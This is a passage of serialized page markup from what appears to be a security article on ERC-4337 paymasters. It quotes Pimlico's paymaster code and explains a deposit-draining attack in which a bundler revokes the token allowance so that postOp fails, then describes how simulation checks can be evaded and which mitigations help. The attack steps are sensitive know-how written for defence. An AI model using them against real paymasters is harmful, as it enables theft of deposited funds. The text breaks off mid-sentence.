PostOpReverted",{"type":23,"tag":139,"props":104576,"children":104577},{"style":259},[104578],{"type":28,"value":104579},"(reason);\n",{"type":23,"tag":139,"props":104581,"children":104582},{"class":141,"line":1791},[104583],{"type":23,"tag":139,"props":104584,"children":104585},{"style":259},[104586],{"type":28,"value":68880},{"type":23,"tag":139,"props":104588,"children":104589},{"class":141,"line":1823},[104590],{"type":23,"tag":139,"props":104591,"children":104592},{"style":259},[104593],{"type":28,"value":68965},{"type":23,"tag":139,"props":104595,"children":104596},{"class":141,"line":1831},[104597],{"type":23,"tag":139,"props":104598,"children":104599},{"style":958},[104600],{"type":28,"value":104601},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":139,"props":104603,"children":104604},{"class":141,"line":1891},[104605,104609,104613],{"type":23,"tag":139,"props":104606,"children":104607},{"style":958},[104608],{"type":28,"value":101446},{"type":23,"tag":139,"props":104610,"children":104611},{"style":279},[104612],{"type":28,"value":64660},{"type":23,"tag":139,"props":104614,"children":104615},{"style":958},[104616],{"type":28,"value":104617}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":139,"props":104619,"children":104620},{"class":141,"line":7053},[104621,104625,104630,104634,104638,104642,104646],{"type":23,"tag":139,"props":104622,"children":104623},{"style":305},[104624],{"type":28,"value":101381},{"type":23,"tag":139,"props":104626,"children":104627},{"style":259},[104628],{"type":28,"value":104629}," postOpGasUsed ",{"type":23,"tag":139,"props":104631,"children":104632},{"style":982},[104633],{"type":28,"value":1067},{"type":23,"tag":139,"props":104635,"children":104636},{"style":259},[104637],{"type":28,"value":104417},{"type":23,"tag":139,"props":104639,"children":104640},{"style":982},[104641],{"type":28,"value":2328},{"type":23,"tag":139,"props":104643,"children":104644},{"style":279},[104645],{"type":28,"value":103214},{"type":23,"tag":139,"props":104647,"children":104648},{"style":259},[104649],{"type":28,"value":1656},{"type":23,"tag":139,"props":104651,"children":104652},{"class":141,"line":7071},[104653,104658,104662,104667],{"type":23,"tag":139,"props":104654,"children":104655},{"style":259},[104656],{"type":28,"value":104657},"                    postOpUnusedGasPenalty ",{"type":23,"tag":139,"props":104659,"children":104660},{"style":982},[104661],{"type":28,"value":1067},{"type":23,"tag":139,"props":104663,"children":104664},{"style":245},[104665],{"type":28,"value":104666}," _getUnusedGasPenalty",{"type":23,"tag":139,"props":104668,"children":104669},{"style":259},[104670],{"type":28,"value":104671},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":139,"props":104673,"children":104674},{"class":141,"line":7116},[104675],{"type":23,"tag":139,"props":104676,"children":104677},{"style":259},[104678],{"type":28,"value":68973},{"type":23,"tag":139,"props":104680,"children":104681},{"class":141,"line":7222},[104682],{"type":23,"tag":139,"props":104683,"children":104684},{"style":259},[104685],{"type":28,"value":56784},{"type":23,"tag":139,"props":104687,"children":104688},{"class":141,"line":21518},[104689],{"type":23,"tag":139,"props":104690,"children":104691},{"style":259},[104692],{"type":28,"value":102705},{"type":23,"tag":139,"props":104694,"children":104695},{"class":141,"line":21553},[104696],{"type":23,"tag":139,"props":104697,"children":104698},{"style":259},[104699],{"type":28,"value":1335},{"type":23,"tag":24,"props":104701,"children":104702},{},[104703,104705,104710,104712,104718,104720,104726,104728,104733,104735,104740,104742,104747,104749,104754,104756,104761,104763,104768],{"type":28,"value":104704},"It turns out that if the ",{"type":23,"tag":135,"props":104706,"children":104708},{"className":104707},[],[104709],{"type":28,"value":100285},{"type":28,"value":104711}," call fails, it will revert with ",{"type":23,"tag":135,"props":104713,"children":104715},{"className":104714},[],[104716],{"type":28,"value":104717},"PostOpReverted",{"type":28,"value":104719},". However, as we can see in the previous code of ",{"type":23,"tag":135,"props":104721,"children":104723},{"className":104722},[],[104724],{"type":28,"value":104725},"_executeUserOp",{"type":28,"value":104727},", even though ",{"type":23,"tag":135,"props":104729,"children":104731},{"className":104730},[],[104732],{"type":28,"value":103427},{"type":28,"value":104734}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":135,"props":104736,"children":104738},{"className":104737},[],[104739],{"type":28,"value":104095},{"type":28,"value":104741}," call with ",{"type":23,"tag":135,"props":104743,"children":104745},{"className":104744},[],[104746],{"type":28,"value":104103},{"type":28,"value":104748}," mode, and it won't try to call ",{"type":23,"tag":135,"props":104750,"children":104752},{"className":104751},[],[104753],{"type":28,"value":100285},{"type":28,"value":104755}," again. This means the ",{"type":23,"tag":135,"props":104757,"children":104759},{"className":104758},[],[104760],{"type":28,"value":100146},{"type":28,"value":104762}," still gets paid for submitting the failed ",{"type":23,"tag":135,"props":104764,"children":104766},{"className":104765},[],[104767],{"type":28,"value":100086},{"type":28,"value":73},{"type":23,"tag":24,"props":104770,"children":104771},{},[104772,104774,104779,104781,104786,104788,104795],{"type":28,"value":104773},"Now that we understand this behavior where ",{"type":23,"tag":135,"props":104775,"children":104777},{"className":104776},[],[104778],{"type":28,"value":100285},{"type":28,"value":104780}," is allowed to fail while the ",{"type":23,"tag":135,"props":104782,"children":104784},{"className":104783},[],[104785],{"type":28,"value":100146},{"type":28,"value":104787}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":64,"props":104789,"children":104792},{"href":104790,"rel":104791},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[68],[104793],{"type":28,"value":104794},"Pimlico",{"type":28,"value":73},{"type":23,"tag":128,"props":104797,"children":104799},{"className":2476,"code":104798,"language":2475,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[104800],{"type":23,"tag":135,"props":104801,"children":104802},{"__ignoreMap":7},[104803,104818,104835,104855,104871,104883,104890,104897,104904,104935,104942,104967,104975,104982,104989,105018,105025,105041,105063,105070,105086,105136,105143,105159,105167,105200,105233,105241,105248,105255,105298,105305,105354,105380,105387,105394,105411],{"type":23,"tag":139,"props":104804,"children":104805},{"class":141,"line":142},[104806,104810,104814],{"type":23,"tag":139,"props":104807,"children":104808},{"style":279},[104809],{"type":28,"value":87735},{"type":23,"tag":139,"props":104811,"children":104812},{"style":245},[104813],{"type":28,"value":101687},{"type":23,"tag":139,"props":104815,"children":104816},{"style":259},[104817],{"type":28,"value":1443},{"type":23,"tag":139,"props":104819,"children":104820},{"class":141,"line":151},[104821,104826,104830],{"type":23,"tag":139,"props":104822,"children":104823},{"style":279},[104824],{"type":28,"value":104825},"        PostOpMode",{"type":23,"tag":139,"props":104827,"children":104828},{"style":259},[104829],{"type":28,"value":1052},{"type":23,"tag":139,"props":104831,"children":104832},{"style":958},[104833],{"type":28,"value":104834},"/* mode */\n",{"type":23,"tag":139,"props":104836,"children":104837},{"class":141,"line":160},[104838,104842,104846,104851],{"type":23,"tag":139,"props":104839,"children":104840},{"style":305},[104841],{"type":28,"value":103603},{"type":23,"tag":139,"props":104843,"children":104844},{"style":279},[104845],{"type":28,"value":100916},{"type":23,"tag":139,"props":104847,"children":104848},{"style":294},[104849],{"type":28,"value":104850}," _context",{"type":23,"tag":139,"props":104852,"children":104853},{"style":259},[104854],{"type":28,"value":1488},{"type":23,"tag":139,"props":104856,"children":104857},{"class":141,"line":169},[104858,104862,104867],{"type":23,"tag":139,"props":104859,"children":104860},{"style":305},[104861],{"type":28,"value":87913},{"type":23,"tag":139,"props":104863,"children":104864},{"style":294},[104865],{"type":28,"value":104866}," _actualGasCost",{"type":23,"tag":139,"props":104868,"children":104869},{"style":259},[104870],{"type":28,"value":1488},{"type":23,"tag":139,"props":104872,"children":104873},{"class":141,"line":178},[104874,104878],{"type":23,"tag":139,"props":104875,"children":104876},{"style":305},[104877],{"type":28,"value":87913},{"type":23,"tag":139,"props":104879,"children":104880},{"style":294},[104881],{"type":28,"value":104882}," _actualUserOpFeePerGas\n",{"type":23,"tag":139,"props":104884,"children":104885},{"class":141,"line":187},[104886],{"type":23,"tag":139,"props":104887,"children":104888},{"style":259},[104889],{"type":28,"value":21939},{"type":23,"tag":139,"props":104891,"children":104892},{"class":141,"line":196},[104893],{"type":23,"tag":139,"props":104894,"children":104895},{"style":279},[104896],{"type":28,"value":100955},{"type":23,"tag":139,"props":104898,"children":104899},{"class":141,"line":205},[104900],{"type":23,"tag":139,"props":104901,"children":104902},{"style":259},[104903],{"type":28,"value":27209},{"type":23,"tag":139,"props":104905,"children":104906},{"class":141,"line":214},[104907,104912,104916,104921,104925,104930],{"type":23,"tag":139,"props":104908,"children":104909},{"style":259},[104910],{"type":28,"value":104911},"        ERC20PostOpContext ",{"type":23,"tag":139,"props":104913,"children":104914},{"style":279},[104915],{"type":28,"value":73876},{"type":23,"tag":139,"props":104917,"children":104918},{"style":259},[104919],{"type":28,"value":104920}," ctx ",{"type":23,"tag":139,"props":104922,"children":104923},{"style":982},[104924],{"type":28,"value":1067},{"type":23,"tag":139,"props":104926,"children":104927},{"style":245},[104928],{"type":28,"value":104929}," _parsePostOpContext",{"type":23,"tag":139,"props":104931,"children":104932},{"style":259},[104933],{"type":28,"value":104934},"(_context);\n",{"type":23,"tag":139,"props":104936,"children":104937},{"class":141,"line":1320},[104938],{"type":23,"tag":139,"props":104939,"children":104940},{"emptyLinePlaceholder":15},[104941],{"type":28,"value":184},{"type":23,"tag":139,"props":104943,"children":104944},{"class":141,"line":1329},[104945,104949,104954,104958,104963],{"type":23,"tag":139,"props":104946,"children":104947},{"style":305},[104948],{"type":28,"value":87913},{"type":23,"tag":139,"props":104950,"children":104951},{"style":259},[104952],{"type":28,"value":104953}," expectedPenaltyGasCost ",{"type":23,"tag":139,"props":104955,"children":104956},{"style":982},[104957],{"type":28,"value":1067},{"type":23,"tag":139,"props":104959,"children":104960},{"style":245},[104961],{"type":28,"value":104962}," _expectedPenaltyGasCost",{"type":23,"tag":139,"props":104964,"children":104965},{"style":259},[104966],{"type":28,"value":1443},{"type":23,"tag":139,"props":104968,"children":104969},{"class":141,"line":1580},[104970],{"type":23,"tag":139,"props":104971,"children":104972},{"style":259},[104973],{"type":28,"value":104974},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":139,"props":104976,"children":104977},{"class":141,"line":1597},[104978],{"type":23,"tag":139,"props":104979,"children":104980},{"style":259},[104981],{"type":28,"value":5747},{"type":23,"tag":139,"props":104983,"children":104984},{"class":141,"line":1614},[104985],{"type":23,"tag":139,"props":104986,"children":104987},{"emptyLinePlaceholder":15},[104988],{"type":28,"value":184},{"type":23,"tag":139,"props":104990,"children":104991},{"class":141,"line":1627},[104992,104996,105000,105004,105009,105013],{"type":23,"tag":139,"props":104993,"children":104994},{"style":305},[104995],{"type":28,"value":87913},{"type":23,"tag":139,"props":104997,"children":104998},{"style":259},[104999],{"type":28,"value":102011},{"type":23,"tag":139,"props":105001,"children":105002},{"style":982},[105003],{"type":28,"value":1067},{"type":23,"tag":139,"props":105005,"children":105006},{"style":259},[105007],{"type":28,"value":105008}," _actualGasCost ",{"type":23,"tag":139,"props":105010,"children":105011},{"style":982},[105012],{"type":28,"value":2382},{"type":23,"tag":139,"props":105014,"children":105015},{"style":259},[105016],{"type":28,"value":105017}," expectedPenaltyGasCost;\n",{"type":23,"tag":139,"props":105019,"children":105020},{"class":141,"line":1636},[105021],{"type":23,"tag":139,"props":105022,"children":105023},{"emptyLinePlaceholder":15},[105024],{"type":28,"value":184},{"type":23,"tag":139,"props":105026,"children":105027},{"class":141,"line":1659},[105028,105032,105037],{"type":23,"tag":139,"props":105029,"children":105030},{"style":305},[105031],{"type":28,"value":87913},{"type":23,"tag":139,"props":105033,"children":105034},{"style":259},[105035],{"type":28,"value":105036}," costInToken ",{"type":23,"tag":139,"props":105038,"children":105039},{"style":982},[105040],{"type":28,"value":12704},{"type":23,"tag":139,"props":105042,"children":105043},{"class":141,"line":1667},[105044,105049,105054,105058],{"type":23,"tag":139,"props":105045,"children":105046},{"style":245},[105047],{"type":28,"value":105048},"            getCostInToken",{"type":23,"tag":139,"props":105050,"children":105051},{"style":259},[105052],{"type":28,"value":105053},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":139,"props":105055,"children":105056},{"style":982},[105057],{"type":28,"value":2382},{"type":23,"tag":139,"props":105059,"children":105060},{"style":259},[105061],{"type":28,"value":105062}," ctx.constantFee;\n",{"type":23,"tag":139,"props":105064,"children":105065},{"class":141,"line":1676},[105066],{"type":23,"tag":139,"props":105067,"children":105068},{"emptyLinePlaceholder":15},[105069],{"type":28,"value":184},{"type":23,"tag":139,"props":105071,"children":105072},{"class":141,"line":1745},[105073,105077,105082],{"type":23,"tag":139,"props":105074,"children":105075},{"style":305},[105076],{"type":28,"value":87913},{"type":23,"tag":139,"props":105078,"children":105079},{"style":259},[105080],{"type":28,"value":105081}," absoluteCostInToken ",{"type":23,"tag":139,"props":105083,"children":105084},{"style":982},[105085],{"type":28,"value":12704},{"type":23,"tag":139,"props":105087,"children":105088},{"class":141,"line":1753},[105089,105094,105098,105103,105107,105111,105115,105119,105123,105127,105131],{"type":23,"tag":139,"props":105090,"children":105091},{"style":259},[105092],{"type":28,"value":105093},"            costInToken ",{"type":23,"tag":139,"props":105095,"children":105096},{"style":982},[105097],{"type":28,"value":8471},{"type":23,"tag":139,"props":105099,"children":105100},{"style":259},[105101],{"type":28,"value":105102}," ctx.preFundCharged ",{"type":23,"tag":139,"props":105104,"children":105105},{"style":982},[105106],{"type":28,"value":1132},{"type":23,"tag":139,"props":105108,"children":105109},{"style":259},[105110],{"type":28,"value":105036},{"type":23,"tag":139,"props":105112,"children":105113},{"style":982},[105114],{"type":28,"value":2328},{"type":23,"tag":139,"props":105116,"children":105117},{"style":259},[105118],{"type":28,"value":105102},{"type":23,"tag":139,"props":105120,"children":105121},{"style":982},[105122],{"type":28,"value":2493},{"type":23,"tag":139,"props":105124,"children":105125},{"style":259},[105126],{"type":28,"value":105102},{"type":23,"tag":139,"props":105128,"children":105129},{"style":982},[105130],{"type":28,"value":2328},{"type":23,"tag":139,"props":105132,"children":105133},{"style":259},[105134],{"type":28,"value":105135}," costInToken;\n",{"type":23,"tag":139,"props":105137,"children":105138},{"class":141,"line":1783},[105139],{"type":23,"tag":139,"props":105140,"children":105141},{"emptyLinePlaceholder":15},[105142],{"type":28,"value":184},{"type":23,"tag":139,"props":105144,"children":105145},{"class":141,"line":1791},[105146,105151,105155],{"type":23,"tag":139,"props":105147,"children":105148},{"style":259},[105149],{"type":28,"value":105150},"        SafeTransferLib.",{"type":23,"tag":139,"props":105152,"children":105153},{"style":245},[105154],{"type":28,"value":101542},{"type":23,"tag":139,"props":105156,"children":105157},{"style":259},[105158],{"type":28,"value":1443},{"type":23,"tag":139,"props":105160,"children":105161},{"class":141,"line":1823},[105162],{"type":23,"tag":139,"props":105163,"children":105164},{"style":259},[105165],{"type":28,"value":105166},"            ctx.token,\n",{"type":23,"tag":139,"props":105168,"children":105169},{"class":141,"line":1831},[105170,105174,105178,105182,105186,105191,105195],{"type":23,"tag":139,"props":105171,"children":105172},{"style":259},[105173],{"type":28,"value":105093},{"type":23,"tag":139,"props":105175,"children":105176},{"style":982},[105177],{"type":28,"value":8471},{"type":23,"tag":139,"props":105179,"children":105180},{"style":259},[105181],{"type":28,"value":105102},{"type":23,"tag":139,"props":105183,"children":105184},{"style":982},[105185],{"type":28,"value":1132},{"type":23,"tag":139,"props":105187,"children":105188},{"style":259},[105189],{"type":28,"value":105190}," ctx.sender ",{"type":23,"tag":139,"props":105192,"children":105193},{"style":982},[105194],{"type":28,"value":2493},{"type":23,"tag":139,"props":105196,"children":105197},{"style":259},[105198],{"type":28,"value":105199}," ctx.treasury,\n",{"type":23,"tag":139,"props":105201,"children":105202},{"class":141,"line":1891},[105203,105207,105211,105215,105219,105224,105228],{"type":23,"tag":139,"props":105204,"children":105205},{"style":259},[105206],{"type":28,"value":105093},{"type":23,"tag":139,"props":105208,"children":105209},{"style":982},[105210],{"type":28,"value":8471},{"type":23,"tag":139,"props":105212,"children":105213},{"style":259},[105214],{"type":28,"value":105102},{"type":23,"tag":139,"props":105216,"children":105217},{"style":982},[105218],{"type":28,"value":1132},{"type":23,"tag":139,"props":105220,"children":105221},{"style":259},[105222],{"type":28,"value":105223}," ctx.treasury ",{"type":23,"tag":139,"props":105225,"children":105226},{"style":982},[105227],{"type":28,"value":2493},{"type":23,"tag":139,"props":105229,"children":105230},{"style":259},[105231],{"type":28,"value":105232}," ctx.sender,\n",{"type":23,"tag":139,"props":105234,"children":105235},{"class":141,"line":7053},[105236],{"type":23,"tag":139,"props":105237,"children":105238},{"style":259},[105239],{"type":28,"value":105240},"            absoluteCostInToken\n",{"type":23,"tag":139,"props":105242,"children":105243},{"class":141,"line":7071},[105244],{"type":23,"tag":139,"props":105245,"children":105246},{"style":259},[105247],{"type":28,"value":5747},{"type":23,"tag":139,"props":105249,"children":105250},{"class":141,"line":7116},[105251],{"type":23,"tag":139,"props":105252,"children":105253},{"emptyLinePlaceholder":15},[105254],{"type":28,"value":184},{"type":23,"tag":139,"props":105256,"children":105257},{"class":141,"line":7222},[105258,105262,105267,105271,105276,105280,105285,105289,105294],{"type":23,"tag":139,"props":105259,"children":105260},{"style":305},[105261],{"type":28,"value":87913},{"type":23,"tag":139,"props":105263,"children":105264},{"style":259},[105265],{"type":28,"value":105266}," preFundInToken ",{"type":23,"tag":139,"props":105268,"children":105269},{"style":982},[105270],{"type":28,"value":1067},{"type":23,"tag":139,"props":105272,"children":105273},{"style":259},[105274],{"type":28,"value":105275}," (ctx.preFund ",{"type":23,"tag":139,"props":105277,"children":105278},{"style":982},[105279],{"type":28,"value":2573},{"type":23,"tag":139,"props":105281,"children":105282},{"style":259},[105283],{"type":28,"value":105284}," ctx.exchangeRate) ",{"type":23,"tag":139,"props":105286,"children":105287},{"style":982},[105288],{"type":28,"value":2583},{"type":23,"tag":139,"props":105290,"children":105291},{"style":1016},[105292],{"type":28,"value":105293}," 1e18",{"type":23,"tag":139,"props":105295,"children":105296},{"style":259},[105297],{"type":28,"value":995},{"type":23,"tag":139,"props":105299,"children":105300},{"class":141,"line":21518},[105301],{"type":23,"tag":139,"props":105302,"children":105303},{"emptyLinePlaceholder":15},[105304],{"type":28,"value":184},{"type":23,"tag":139,"props":105306,"children":105307},{"class":141,"line":21553},[105308,105312,105317,105321,105325,105329,105333,105337,105341,105345,105349],{"type":23,"tag":139,"props":105309,"children":105310},{"style":319},[105311],{"type":28,"value":1249},{"type":23,"tag":139,"props":105313,"children":105314},{"style":259},[105315],{"type":28,"value":105316}," (ctx.recipient ",{"type":23,"tag":139,"props":105318,"children":105319},{"style":982},[105320],{"type":28,"value":13699},{"type":23,"tag":139,"props":105322,"children":105323},{"style":305},[105324],{"type":28,"value":4253},{"type":23,"tag":139,"props":105326,"children":105327},{"style":259},[105328],{"type":28,"value":262},{"type":23,"tag":139,"props":105330,"children":105331},{"style":1016},[105332],{"type":28,"value":2021},{"type":23,"tag":139,"props":105334,"children":105335},{"style":259},[105336],{"type":28,"value":1062},{"type":23,"tag":139,"props":105338,"children":105339},{"style":982},[105340],{"type":28,"value":71099},{"type":23,"tag":139,"props":105342,"children":105343},{"style":259},[105344],{"type":28,"value":105266},{"type":23,"tag":139,"props":105346,"children":105347},{"style":982},[105348],{"type":28,"value":8471},{"type":23,"tag":139,"props":105350,"children":105351},{"style":259},[105352],{"type":28,"value":105353}," costInToken) {\n",{"type":23,"tag":139,"props":105355,"children":105356},{"class":141,"line":21561},[105357,105362,105366,105371,105375],{"type":23,"tag":139,"props":105358,"children":105359},{"style":259},[105360],{"type":28,"value":105361},"            SafeTransferLib.",{"type":23,"tag":139,"props":105363,"children":105364},{"style":245},[105365],{"type":28,"value":101542},{"type":23,"tag":139,"props":105367,"children":105368},{"style":259},[105369],{"type":28,"value":105370},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":139,"props":105372,"children":105373},{"style":982},[105374],{"type":28,"value":2328},{"type":23,"tag":139,"props":105376,"children":105377},{"style":259},[105378],{"type":28,"value":105379}," costInToken);\n",{"type":23,"tag":139,"props":105381,"children":105382},{"class":141,"line":21569},[105383],{"type":23,"tag":139,"props":105384,"children":105385},{"style":259},[105386],{"type":28,"value":1326},{"type":23,"tag":139,"props":105388,"children":105389},{"class":141,"line":21578},[105390],{"type":23,"tag":139,"props":105391,"children":105392},{"emptyLinePlaceholder":15},[105393],{"type":28,"value":184},{"type":23,"tag":139,"props":105395,"children":105396},{"class":141,"line":21620},[105397,105402,105406],{"type":23,"tag":139,"props":105398,"children":105399},{"style":319},[105400],{"type":28,"value":105401},"        emit",{"type":23,"tag":139,"props":105403,"children":105404},{"style":245},[105405],{"type":28,"value":102276},{"type":23,"tag":139,"props":105407,"children":105408},{"style":259},[105409],{"type":28,"value":105410},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":139,"props":105412,"children":105413},{"class":141,"line":21653},[105414],{"type":23,"tag":139,"props":105415,"children":105416},{"style":259},[105417],{"type":28,"value":1335},{"type":23,"tag":24,"props":105419,"children":105420},{},[105421,105423,105428,105430,105436,105438,105444,105446,105451,105453,105458],{"type":28,"value":105422},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":135,"props":105424,"children":105426},{"className":105425},[],[105427],{"type":28,"value":101542},{"type":28,"value":105429},". Note that ",{"type":23,"tag":135,"props":105431,"children":105433},{"className":105432},[],[105434],{"type":28,"value":105435},"preFundCharged",{"type":28,"value":105437}," can be zero, as users can opt out of any ",{"type":23,"tag":135,"props":105439,"children":105441},{"className":105440},[],[105442],{"type":28,"value":105443},"preFund",{"type":28,"value":105445}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":135,"props":105447,"children":105449},{"className":105448},[],[105450],{"type":28,"value":102343},{"type":28,"value":105452}," call inside ",{"type":23,"tag":135,"props":105454,"children":105456},{"className":105455},[],[105457],{"type":28,"value":103427},{"type":28,"value":105459}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":105461,"children":105462},{},[105463,105465,105470,105472,105478,105480,105486],{"type":28,"value":105464},"However, even when ",{"type":23,"tag":135,"props":105466,"children":105468},{"className":105467},[],[105469],{"type":28,"value":102343},{"type":28,"value":105471}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":135,"props":105473,"children":105475},{"className":105474},[],[105476],{"type":28,"value":105477},"requiredPrefund",{"type":28,"value":105479}," was taken from the paymaster's ",{"type":23,"tag":64,"props":105481,"children":105484},{"href":105482,"rel":105483},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[68],[105485],{"type":28,"value":59863},{"type":28,"value":73},{"type":23,"tag":24,"props":105488,"children":105489},{},[105490,105492,105497],{"type":28,"value":105491},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":135,"props":105493,"children":105495},{"className":105494},[],[105496],{"type":28,"value":102343},{"type":28,"value":105498}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":797,"props":105500,"children":105501},{},[105502,105520,105539,105550,105555],{"type":23,"tag":801,"props":105503,"children":105504},{},[105505,105507,105512,105514],{"type":28,"value":105506},"The bundler creates a ",{"type":23,"tag":135,"props":105508,"children":105510},{"className":105509},[],[105511],{"type":28,"value":100086},{"type":28,"value":105513}," with an intentionally high ",{"type":23,"tag":135,"props":105515,"children":105517},{"className":105516},[],[105518],{"type":28,"value":105519},"gasPrice",{"type":23,"tag":801,"props":105521,"children":105522},{},[105523,105525,105530,105532,105537],{"type":28,"value":105524},"The bundler ensures the ",{"type":23,"tag":135,"props":105526,"children":105528},{"className":105527},[],[105529],{"type":28,"value":102343},{"type":28,"value":105531}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":135,"props":105533,"children":105535},{"className":105534},[],[105536],{"type":28,"value":102343},{"type":28,"value":105538}," executes",{"type":23,"tag":801,"props":105540,"children":105541},{},[105542,105543,105548],{"type":28,"value":61255},{"type":23,"tag":135,"props":105544,"children":105546},{"className":105545},[],[105547],{"type":28,"value":102343},{"type":28,"value":105549}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":801,"props":105551,"children":105552},{},[105553],{"type":28,"value":105554},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":801,"props":105556,"children":105557},{},[105558],{"type":28,"value":105559},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":105561,"children":105562},{},[105563,105565,105570,105572,105577],{"type":28,"value":105564},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":135,"props":105566,"children":105568},{"className":105567},[],[105569],{"type":28,"value":100115},{"type":28,"value":105571}," designed to fail during ",{"type":23,"tag":135,"props":105573,"children":105575},{"className":105574},[],[105576],{"type":28,"value":102343},{"type":28,"value":105578}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":105580,"children":105581},{},[105582,105584,105589,105591,105596,105598,105604,105606,105611],{"type":28,"value":105583},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":135,"props":105585,"children":105587},{"className":105586},[],[105588],{"type":28,"value":100086},{"type":28,"value":105590}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":135,"props":105592,"children":105594},{"className":105593},[],[105595],{"type":28,"value":100086},{"type":28,"value":105597}," is submitted via ",{"type":23,"tag":135,"props":105599,"children":105601},{"className":105600},[],[105602],{"type":28,"value":105603},"handleOps",{"type":28,"value":105605},". This means the ",{"type":23,"tag":135,"props":105607,"children":105609},{"className":105608},[],[105610],{"type":28,"value":102343},{"type":28,"value":105612}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":105614,"children":105615},{},[105616],{"type":28,"value":105617},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":105619,"children":105620},{},[105621],{"type":28,"value":105622},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":105624,"children":105625},{},[105626],{"type":28,"value":105627},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":33262,"props":105629,"children":105630},{"id":26955},[105631],{"type":28,"value":16955},{"type":23,"tag":24,"props":105633,"children":105634},{},[105635],{"type":28,"value":105636},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":797,"props":105638,"children":105639},{},[105640,105645,105650,105655,105660],{"type":23,"tag":801,"props":105641,"children":105642},{},[105643],{"type":28,"value":105644},"Always collect full payment during validation, not after execution",{"type":23,"tag":801,"props":105646,"children":105647},{},[105648],{"type":28,"value":105649},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":801,"props":105651,"children":105652},{},[105653],{"type":28,"value":105654},"Carefully validate all user inputs and token transfers",{"type":23,"tag":801,"props":105656,"children":105657},{},[105658],{"type":28,"value":105659},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":801,"props":105661,"children":105662},{},[105663,105665,105670],{"type":28,"value":105664},"Always review changes in new ",{"type":23,"tag":135,"props":105666,"children":105668},{"className":105667},[],[105669],{"type":28,"value":100167},{"type":28,"value":105671}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":105673,"children":105674},{},[105675,105677,105682,105684,105689,105691,105696],{"type":28,"value":105676},"The last point is 